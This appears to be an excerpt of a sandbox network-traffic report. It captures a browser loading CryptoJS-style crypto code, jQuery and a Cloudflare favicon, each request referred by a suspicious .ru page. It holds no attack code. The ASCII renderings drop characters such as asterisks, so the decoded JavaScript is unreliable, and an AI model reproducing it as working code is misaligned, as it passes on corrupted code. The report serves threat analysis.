2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 Data Ascii: ){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c Data Ascii: 0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e Data Ascii: .buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={strin
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJ
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 Data Ascii: a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c Data Ascii: ,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49729	151.101.130.137	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:46:54 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:46:54 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1701796 Date: Wed, 26 Mar 2025 23:46:54 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740040-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1743032814.219324,VS0,VE1 Vary: Accept-Encoding
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-26 23:46:54 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49732	104.16.2.189	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:46:54 UTC	638	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:46:55 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:46:55 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=PsHvja_JU5DsLeV2n_IfCF3qSUto_qgLA4ad7m9UXVw-1743032815-1.0.1.1-mUOdQvdX8ypp5pXPQt8l.xU55K5Gy.r3__NyIT2UGH5jyrIrWbvYSDMD.53TEEEY6VfSM5Hfcb32JZ1Fr42n8mMdJq9FFkFCBFIpITUaAMo; path=/; expires=Thu, 27-Mar-25 00:16:55 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 926a87b5ae6ed96d-EWR alt-svc: h3=":443"; ma=86400
